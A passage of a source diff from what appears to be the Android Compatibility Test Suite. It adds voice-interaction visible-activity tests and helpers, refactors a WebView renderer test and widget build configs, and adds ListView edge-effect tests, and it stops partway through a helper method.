diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionSessionVisibleActivityTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionSessionVisibleActivityTest.java
new file mode 100644
index 0000000..7307173
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionSessionVisibleActivityTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.service.voice.VoiceInteractionSession;
+import android.util.Log;
+import android.voiceinteraction.common.Utils;
+import android.voiceinteraction.cts.activities.EmptyActivity;
+import android.voiceinteraction.cts.testcore.VoiceInteractionSessionControl;
+
+import androidx.annotation.NonNull;
+import androidx.lifecycle.Lifecycle;
+import androidx.test.core.app.ActivityScenario;
+
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.After;
+import org.junit.Test;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Tests for reliable visible activity lookup related functions.
+ */
+@AppModeFull(reason = "DirectActionsTest is enough")
+public class VoiceInteractionSessionVisibleActivityTest extends AbstractVoiceInteractionTestCase {
+    private static final String TAG =
+            VoiceInteractionSessionVisibleActivityTest.class.getSimpleName();
+
+    private final @NonNull SessionControl mSessionControl = new SessionControl();
+    private final Handler mHandler = new Handler(Looper.getMainLooper());
+    private ActivityScenario<EmptyActivity> mActivityScenario;
+
+    @After
+    public void cleanup() throws Exception {
+        if (mActivityScenario != null) {
+            mActivityScenario.moveToState(Lifecycle.State.DESTROYED);
+            mActivityScenario = null;
+        }
+    }
+
+    @Test
+    public void testVoiceInteractionSession_registerVisibleActivityCallback_beforeOnCreate()
+            throws Throwable {
+        assertThrows(IllegalStateException.class,
+                () -> new VoiceInteractionSession(mContext,
+                        mHandler).registerVisibleActivityCallback(mock(Executor.class),
+                        mock(VoiceInteractionSession.VisibleActivityCallback.class)));
+    }
+
+    @Test
+    public void testVoiceInteractionSession_registerVisibleActivityCallback_withoutExecutor()
+            throws Throwable {
+        // Start a VoiceInteractionSession and make sure the session has been created.
+        mSessionControl.startVoiceInteractionSession();
+
+        try {
+            // Register the VisibleActivityCallback with null executor, it will cause
+            // NullPointerException.
+            final Bundle result = mSessionControl.registerVisibleActivityCallback(
+                    Utils.VISIBLE_ACTIVITY_CALLBACK_REGISTER_WITHOUT_EXECUTOR);
+
+            // Verify if getting the NullPointerException.
+            assertThat(result).isNotNull();
+            assertThat(
+                    result.getSerializable(Utils.VISIBLE_ACTIVITY_KEY_RESULT).getClass()).isEqualTo(
+                    NullPointerException.class);
+        } finally {
+            mSessionControl.unregisterVisibleActivityCallback();
+            mSessionControl.stopVoiceInteractionSession();
+        }
+    }
+
+    @Test
+    public void testVoiceInteractionSession_registerVisibleActivityCallback_withoutCallback()
+            throws Throwable {
+        // Start a VoiceInteractionSession and make sure the session has been created.
+        mSessionControl.startVoiceInteractionSession();
+
+        try {
+            // Register the VisibleActivityCallback with null callback, it will cause
+            // NullPointerException.
+            final Bundle result = mSessionControl.registerVisibleActivityCallback(
+                    Utils.VISIBLE_ACTIVITY_CALLBACK_REGISTER_WITHOUT_CALLBACK);
+
+            // Verify if getting the NullPointerException.
+            assertThat(result).isNotNull();
+            assertThat(
+                    result.getSerializable(Utils.VISIBLE_ACTIVITY_KEY_RESULT).getClass()).isEqualTo(
+                    NullPointerException.class);
+        } finally {
+            mSessionControl.unregisterVisibleActivityCallback();
+            mSessionControl.stopVoiceInteractionSession();
+        }
+    }
+
+    @Test
+    public void testVoiceInteractionSession_unregisterVisibleActivityCallback_withoutCallback()
+            throws Throwable {
+        assertThrows(NullPointerException.class,
+                () -> new VoiceInteractionSession(mContext,
+                        mHandler).unregisterVisibleActivityCallback(/* callback= */ null));
+    }
+
+    @Test
+    public void testReceiveVisibleActivityCallbackAfterStartNewOrFinishActivity() throws Exception {
+        // Start a VoiceInteractionSession and make sure the session has been created.
+        mSessionControl.startVoiceInteractionSession();
+
+        try {
+            // Register the VisibleActivityCallback first, the VisibleActivityCallback.onVisible
+            // or VisibleActivityCallback.onInvisible that will be called when visible activities
+            // have been changed.
+            final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(mContext,
+                    Utils.VISIBLE_ACTIVITY_CALLBACK_ONVISIBLE_INTENT);
+            receiver.register();
+
+            // Register the VisibleActivityCallback and the VisibleActivityCallback.onVisible will
+            // be called immediately with current visible activities.
+            mSessionControl.registerVisibleActivityCallback(
+                    Utils.VISIBLE_ACTIVITY_CALLBACK_REGISTER_NORMAL);
+
+            // Verify if the VisibleActivityCallback.onVisible has been called.
+            Intent intent = receiver.awaitForBroadcast(Utils.OPERATION_TIMEOUT_MS);
+            receiver.unregisterQuietly();
+
+            assertThat(intent).isNotNull();
+            assertThat(intent.getBooleanExtra(Utils.VISIBLE_ACTIVITY_KEY_RESULT, false)).isTrue();
+
+            // After starting a new activity, the VisibleActivityCallback.onVisible and
+            // VisibleActivityCallback.onInvisible should be called due to visible activities have
+            // been changed.
+            performActivityChangeAndVerifyCallback(Utils.ACTIVITY_NEW);
+
+            // After finishing an activity, the VisibleActivityCallback.onVisible and
+            // VisibleActivityCallback.onInvisible should be called due to visible activities have
+            // been changed.
+            performActivityChangeAndVerifyCallback(Utils.ACTIVITY_FINISH);
+
+        } finally {
+            mSessionControl.unregisterVisibleActivityCallback();
+            mSessionControl.stopVoiceInteractionSession();
+        }
+    }
+
+    private void performActivityChangeAndVerifyCallback(int activityChange) throws Exception {
+        // Sleep one second to reduce the impact of changing activity state.
+        Thread.sleep(1000);
+
+        final BlockingBroadcastReceiver onVisibleReceiver = new BlockingBroadcastReceiver(
+                mContext, Utils.VISIBLE_ACTIVITY_CALLBACK_ONVISIBLE_INTENT);
+        onVisibleReceiver.register();
+
+        final BlockingBroadcastReceiver onInvisibleReceiver = new BlockingBroadcastReceiver(
+                mContext, Utils.VISIBLE_ACTIVITY_CALLBACK_ONINVISIBLE_INTENT);
+        onInvisibleReceiver.register();
+
+        Log.v(TAG, "performActivityChange : " + activityChange);
+        switch (activityChange) {
+            case Utils.ACTIVITY_NEW:
+                // Start a new activity
+                final Intent intentActivity = new Intent(mContext, EmptyActivity.class)
+                        .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                mActivityScenario = ActivityScenario.launch(intentActivity);
+                mActivityScenario.moveToState(Lifecycle.State.RESUMED);
+                break;
+            case Utils.ACTIVITY_FINISH:
+                // Finish an activity
+                mActivityScenario.moveToState(Lifecycle.State.DESTROYED);
+                mActivityScenario = null;
+                break;
+        }
+
+        // Verify if the VisibleActivityCallback.onVisible is called
+        final Intent onVisibleIntent = onVisibleReceiver.awaitForBroadcast(
+                Utils.OPERATION_TIMEOUT_MS);
+        onVisibleReceiver.unregisterQuietly();
+
+        assertThat(onVisibleIntent).isNotNull();
+        assertThat(
+                onVisibleIntent.getBooleanExtra(Utils.VISIBLE_ACTIVITY_KEY_RESULT, false)).isTrue();
+
+        // Verify if the VisibleActivityCallback.onInvisible is called
+        final Intent onInvisibleIntent = onInvisibleReceiver.awaitForBroadcast(
+                Utils.OPERATION_TIMEOUT_MS);
+        onInvisibleReceiver.unregisterQuietly();
+
+        assertThat(onInvisibleIntent).isNotNull();
+        assertThat(onInvisibleIntent.getBooleanExtra(Utils.VISIBLE_ACTIVITY_KEY_RESULT,
+                false)).isTrue();
+    }
+
+    private final class SessionControl extends VoiceInteractionSessionControl {
+
+        SessionControl() {
+            super(mContext);
+        }
+
+        private void startVoiceInteractionSession() throws Exception {
+            final Intent intent = new Intent();
+            intent.putExtra(Utils.VOICE_INTERACTION_KEY_CLASS,
+                    "android.voiceinteraction.service.DirectActionsSession");
+            intent.setClassName("android.voiceinteraction.service",
+                    "android.voiceinteraction.service.VoiceInteractionMain");
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            startVoiceInteractionSession(intent);
+        }
+
+        Bundle registerVisibleActivityCallback(int callbackParameter) throws Exception {
+            final Bundle arguments = new Bundle();
+            arguments.putInt(Utils.VISIBLE_ACTIVITY_CMD_REGISTER_CALLBACK, callbackParameter);
+            final Bundle result = executeCommand(
+                    Utils.VISIBLE_ACTIVITY_CMD_REGISTER_CALLBACK, null /*directAction*/,
+                    arguments, null /*postActionCommand*/);
+            return result;
+        }
+
+        boolean unregisterVisibleActivityCallback() throws Exception {
+            final Bundle result = executeCommand(
+                    Utils.VISIBLE_ACTIVITY_CMD_UNREGISTER_CALLBACK, null /*directAction*/,
+                    null /*arguments*/, null /*postActionCommand*/);
+            return result.getBoolean(Utils.VISIBLE_ACTIVITY_KEY_RESULT);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/activities/EmptyActivity.java
similarity index 79%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
copy to tests/tests/voiceinteraction/src/android/voiceinteraction/cts/activities/EmptyActivity.java
index 936827b..d92a61f 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/TestAppDetails.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/activities/EmptyActivity.java
@@ -14,10 +14,12 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.voiceinteraction.cts.activities;
 
-/** Details about a queryable test app. */
-class TestAppDetails {
-    String mPackageName;
-    int mResourceIdentifier;
+import android.app.Activity;
+
+/**
+ * Empty activity
+ */
+public final class EmptyActivity extends Activity {
 }
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionSessionControl.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionSessionControl.java
new file mode 100644
index 0000000..4de3e2d
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/testcore/VoiceInteractionSessionControl.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts.testcore;
+
+import android.app.DirectAction;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.util.Log;
+import android.voiceinteraction.common.Utils;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * A control class to help to perform operations between test case and testing
+ * VoiceInteractionSession.
+ */
+public class VoiceInteractionSessionControl {
+    private static final String TAG = VoiceInteractionSessionControl.class.getSimpleName();
+
+    private @NonNull Context mContext;
+    private @Nullable RemoteCallback mControl;
+
+    protected VoiceInteractionSessionControl(Context context) {
+        mContext = context;
+    }
+
+    protected void startVoiceInteractionSession(Intent intent) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        final RemoteCallback callback = new RemoteCallback((result) -> {
+            mControl = result.getParcelable(Utils.VOICE_INTERACTION_KEY_CONTROL);
+            latch.countDown();
+        });
+
+        intent.putExtra(Utils.VOICE_INTERACTION_KEY_CALLBACK, callback);
+
+        Log.v(TAG, "startVoiceInteractionSession(): " + intent);
+        mContext.startActivity(intent);
+
+        if (!latch.await(Utils.OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            throw new TimeoutException("activity not started in " + Utils.OPERATION_TIMEOUT_MS
+                    + "ms");
+        }
+    }
+
+    public void stopVoiceInteractionSession() throws Exception {
+        executeCommand(Utils.VOICE_INTERACTION_SESSION_CMD_FINISH,
+                null /*directAction*/, null /*arguments*/, null /*postActionCommand*/);
+    }
+
+    @NonNull
+    protected Bundle executeCommand(@NonNull String action, @Nullable DirectAction directAction,
+            @Nullable Bundle arguments, @Nullable ThrowingRunnable postActionCommand)
+            throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        final Bundle result = new Bundle();
+
+        final RemoteCallback callback = new RemoteCallback((b) -> {
+            result.putAll(b);
+            latch.countDown();
+        });
+
+        final Bundle command = new Bundle();
+        command.putString(Utils.VOICE_INTERACTION_KEY_COMMAND, action);
+        command.putParcelable(Utils.VOICE_INTERACTION_DIRECT_ACTIONS_KEY_ACTION, directAction);
+        command.putBundle(Utils.VOICE_INTERACTION_KEY_ARGUMENTS, arguments);
+        command.putParcelable(Utils.VOICE_INTERACTION_KEY_CALLBACK, callback);
+
+        Log.v(TAG, "executeCommand(): action=" + action + " command="
+                + Utils.toBundleString(command));
+        mControl.sendResult(command);
+
+        if (postActionCommand != null) {
+            Log.v(TAG, "Executing post-action command for " + action);
+            postActionCommand.run();
+        }
+
+        if (!latch.await(Utils.OPERATION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            throw new TimeoutException(
+                    "result not received in " + Utils.OPERATION_TIMEOUT_MS + "ms");
+        }
+        Log.v(TAG, "returning " + Utils.toBundleString(result));
+        return result;
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/unittests/VisibleActivityInfoTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/unittests/VisibleActivityInfoTest.java
new file mode 100644
index 0000000..b18b9cc
--- /dev/null
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/unittests/VisibleActivityInfoTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.service.voice.VisibleActivityInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class VisibleActivityInfoTest {
+
+    private final int mTaskId = 100;
+    private final IBinder mAssistToken = new Binder();
+
+    @Test
+    public void testVisibleActivityInfoData() throws Exception {
+        final VisibleActivityInfo visibleActivityInfo = new VisibleActivityInfo(mTaskId,
+                mAssistToken);
+
+        assertThat(visibleActivityInfo.getActivityId()).isNotNull();
+    }
+
+    @Test
+    public void testVisibleActivityInfoParcelizeDeparcelize() throws Exception {
+        final VisibleActivityInfo visibleActivityInfo = new VisibleActivityInfo(mTaskId,
+                mAssistToken);
+
+        final Parcel p = Parcel.obtain();
+        visibleActivityInfo.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        final VisibleActivityInfo targetVisibleActivityInfo =
+                VisibleActivityInfo.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertThat(visibleActivityInfo).isEqualTo(targetVisibleActivityInfo);
+    }
+
+    @Test
+    public void testVisibleActivityInfo_nullAssistToken() {
+        assertThrows(NullPointerException.class,
+                () -> new VisibleActivityInfo(mTaskId, /* assistToken= */ null));
+    }
+}
diff --git a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
index 5f36d8960..4b6d2e3 100644
--- a/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
+++ b/tests/tests/voiceinteraction/testapp/src/android/voiceinteraction/testapp/DirectActionsActivity.java
@@ -52,32 +52,32 @@
         final Intent intent = getIntent();
         Log.v(TAG, "onResume: " + intent);
         final Bundle args = intent.getExtras();
-        final RemoteCallback callBack = args.getParcelable(Utils.DIRECT_ACTIONS_KEY_CALLBACK);
+        final RemoteCallback callBack = args.getParcelable(Utils.VOICE_INTERACTION_KEY_CALLBACK);
 
         final RemoteCallback control = new RemoteCallback((cmdArgs) -> {
-            final String command = cmdArgs.getString(Utils.DIRECT_ACTIONS_KEY_COMMAND);
+            final String command = cmdArgs.getString(Utils.VOICE_INTERACTION_KEY_COMMAND);
             Log.v(TAG, "on remote callback: command=" + command);
             switch (command) {
                 case Utils.DIRECT_ACTIONS_ACTIVITY_CMD_DESTROYED_INTERACTOR: {
                     final RemoteCallback commandCallback = cmdArgs.getParcelable(
-                            Utils.DIRECT_ACTIONS_KEY_CALLBACK);
+                            Utils.VOICE_INTERACTION_KEY_CALLBACK);
                     detectDestroyedInteractor(commandCallback);
                 } break;
-                case Utils.DIRECT_ACTIONS_ACTIVITY_CMD_FINISH: {
+                case Utils.VOICE_INTERACTION_ACTIVITY_CMD_FINISH: {
                     final RemoteCallback commandCallback = cmdArgs.getParcelable(
-                            Utils.DIRECT_ACTIONS_KEY_CALLBACK);
+                            Utils.VOICE_INTERACTION_KEY_CALLBACK);
                     doFinish(commandCallback);
                 } break;
                 case Utils.DIRECT_ACTIONS_ACTIVITY_CMD_INVALIDATE_ACTIONS: {
                     final RemoteCallback commandCallback = cmdArgs.getParcelable(
-                            Utils.DIRECT_ACTIONS_KEY_CALLBACK);
+                            Utils.VOICE_INTERACTION_KEY_CALLBACK);
                     invalidateDirectActions(commandCallback);
                 } break;
             }
         });
 
         final Bundle result = new Bundle();
-        result.putParcelable(Utils.DIRECT_ACTIONS_KEY_CONTROL, control);
+        result.putParcelable(Utils.VOICE_INTERACTION_KEY_CONTROL, control);
         Log.v(TAG, "onResume(): result=" + Utils.toBundleString(result));
         callBack.sendResult(result);
     }
@@ -105,8 +105,8 @@
     public void onPerformDirectAction(String actionId, Bundle arguments,
             CancellationSignal cancellationSignal, Consumer<Bundle> callback) {
         Log.v(TAG, "onPerformDirectAction(): " + Utils.toBundleString(arguments));
-        if (arguments == null || !arguments.getString(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS)
-                .equals(Utils.DIRECT_ACTIONS_KEY_ARGUMENTS)) {
+        if (arguments == null || !arguments.getString(Utils.VOICE_INTERACTION_KEY_ARGUMENTS)
+                .equals(Utils.VOICE_INTERACTION_KEY_ARGUMENTS)) {
             reportActionFailed(callback);
             return;
         }
diff --git a/tests/tests/voicesettings/AndroidTest.xml b/tests/tests/voicesettings/AndroidTest.xml
index 5e7e446..c678552 100644
--- a/tests/tests/voicesettings/AndroidTest.xml
+++ b/tests/tests/voicesettings/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Voice Settings test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index c1ed0dd..e658152 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -24,6 +24,7 @@
 import android.util.Base64;
 import android.view.MotionEvent;
 import android.view.ViewGroup;
+import android.view.ViewParent;
 import android.webkit.ConsoleMessage;
 import android.view.ViewParent;
 import android.webkit.JsPromptResult;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 47153af..0161540 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -38,8 +38,6 @@
 import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
 import android.util.Pair;
 
-import androidx.test.filters.FlakyTest;
-
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.google.common.util.concurrent.SettableFuture;
@@ -144,7 +142,6 @@
 
     // Verify shouldoverrideurlloading called on webview called via onCreateWindow
     // TODO(sgurun) upstream this test to Aw.
-    @FlakyTest(bugId = 172331117)
     public void testShouldOverrideUrlLoadingOnCreateWindow() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewRenderProcessClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewRenderProcessClientTest.java
index 39e3eb9..c74dcb9 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewRenderProcessClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewRenderProcessClientTest.java
@@ -23,12 +23,13 @@
 import android.webkit.WebView;
 import android.webkit.WebViewRenderProcess;
 import android.webkit.WebViewRenderProcessClient;
+
 import com.android.compatibility.common.util.NullWebViewUtils;
+
 import com.google.common.util.concurrent.SettableFuture;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
-import java.util.concurrent.Future;
 import java.util.concurrent.atomic.AtomicInteger;
 
 @AppModeFull
@@ -92,17 +93,21 @@
     }
 
     private void blockRenderProcess(final JSBlocker blocker) {
-        WebkitUtils.onMainThreadSync(new Runnable() {
-            @Override
-            public void run() {
-                WebView webView = mOnUiThread.getWebView();
-                webView.evaluateJavascript("blocker.block();", null);
-                blocker.waitForBlocked();
-                // Sending an input event that does not get acknowledged will cause
-                // the unresponsive renderer event to fire.
-                webView.dispatchKeyEvent(
-                        new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER));
-            }
+        WebkitUtils.onMainThreadSync(() -> {
+            WebView webView = mOnUiThread.getWebView();
+            webView.evaluateJavascript("blocker.block();", null);
+        });
+        // Wait on the test instrumentation thread not the main thread. Blocking the main thread
+        // may block other async calls such as initializing the GPU service channel that happens on
+        // the UI thread and has to finish before the renderer can execute any javascript,
+        // see https://crbug.com/1269552.
+        blocker.waitForBlocked();
+        WebkitUtils.onMainThreadSync(() -> {
+            WebView webView = mOnUiThread.getWebView();
+            // Sending an input event that does not get acknowledged will cause
+            // the unresponsive renderer event to fire.
+            webView.dispatchKeyEvent(
+                    new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_ENTER));
         });
     }
 
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
index 414dd0f..569bb4a 100644
--- a/tests/tests/widget/Android.bp
+++ b/tests/tests/widget/Android.bp
@@ -19,6 +19,7 @@
 android_test {
     name: "CtsWidgetTestCases",
     defaults: ["cts_defaults"],
+    min_sdk_version:"31",
 
     static_libs: [
         "androidx.annotation_annotation",
@@ -46,6 +47,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
     ],
 
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index f3dbee4..0054d1c 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -19,6 +19,7 @@
      package="android.widget.cts"
      android:targetSandboxVersion="2">
 
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="32" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
 
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index c43bf16..81d426f 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -15,10 +15,12 @@
 -->
 <configuration description="Config for CTS Widget test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/widget/app/Android.bp b/tests/tests/widget/app/Android.bp
index 461fd11..faed78b 100644
--- a/tests/tests/widget/app/Android.bp
+++ b/tests/tests/widget/app/Android.bp
@@ -28,6 +28,7 @@
     ],
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
     ],
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewTest.java b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
index f58eaa0..6cf81e3 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
@@ -20,6 +20,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
@@ -41,6 +42,7 @@
 import android.app.ActionBar.LayoutParams;
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -48,6 +50,7 @@
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
+import android.os.SystemClock;
 import android.util.AttributeSet;
 import android.util.Pair;
 import android.util.SparseArray;
@@ -1329,6 +1332,144 @@
         assertTrue(firstVisiblePositionAfterScroll > firstVisiblePositionBeforeScroll);
     }
 
+    @Test
+    public void testEdgeEffectAddToBottom() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        scrollToBottomOfStretch();
+
+        NoReleaseEdgeEffect edgeEffect = new NoReleaseEdgeEffect(mListViewStretch.getContext());
+        mListViewStretch.mEdgeGlowBottom = edgeEffect;
+        edgeEffect.setPauseRelease(true);
+
+        executeWhileDragging(
+                -300,
+                () -> {
+                    assertFalse(edgeEffect.getOnReleaseCalled());
+                    try {
+                        mActivityRule.runOnUiThread(() -> {
+                            for (int color : mColorList) {
+                                mAdapterColors.addColor(Color.BLACK);
+                                mAdapterColors.addColor(color);
+                            }
+                        });
+                    } catch (Throwable e) {
+                    }
+                },
+                () -> {
+                    assertTrue(edgeEffect.getOnReleaseCalled());
+                    assertTrue(edgeEffect.getDistance() > 0);
+                }
+        );
+
+        edgeEffect.finish();
+        int firstVisible = mListViewStretch.getFirstVisiblePosition();
+
+        // We've turned off the release, so the distance won't change unless onPull() is called
+        executeWhileDragging(-300, () -> {}, () -> {});
+        assertTrue(edgeEffect.isFinished());
+        assertEquals(0f, edgeEffect.getDistance(), 0.01f);
+        assertNotEquals(firstVisible, mListViewStretch.getFirstVisiblePosition());
+    }
+
+    @Test
+    public void testEdgeEffectAddToTop() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        NoReleaseEdgeEffect edgeEffect = new NoReleaseEdgeEffect(mListViewStretch.getContext());
+        mListViewStretch.mEdgeGlowTop = edgeEffect;
+        edgeEffect.setPauseRelease(true);
+
+        executeWhileDragging(
+                300,
+                () -> {
+                    assertFalse(edgeEffect.getOnReleaseCalled());
+                    try {
+                        mActivityRule.runOnUiThread(() -> {
+                            for (int color : mColorList) {
+                                mAdapterColors.addColorAtStart(Color.BLACK);
+                                mAdapterColors.addColorAtStart(color);
+                            }
+                            mListViewStretch.setSelection(mColorList.length * 2);
+                        });
+                    } catch (Throwable e) {
+                    }
+                },
+                () -> {
+                    assertTrue(edgeEffect.getOnReleaseCalled());
+                    assertTrue(edgeEffect.getDistance() > 0);
+                }
+        );
+
+        edgeEffect.finish();
+        int firstVisible = mListViewStretch.getFirstVisiblePosition();
+
+        // We've turned off the release, so the distance won't change unless onPull() is called
+        executeWhileDragging(300, () -> {}, () -> {});
+        assertTrue(edgeEffect.isFinished());
+        assertEquals(0f, edgeEffect.getDistance(), 0.01f);
+        assertNotEquals(firstVisible, mListViewStretch.getFirstVisiblePosition());
+    }
+
+    private void executeWhileDragging(
+            int dragY,
+            Runnable duringDrag,
+            Runnable beforeUp
+    ) throws Throwable {
+        int[] locationOnScreen = new int[2];
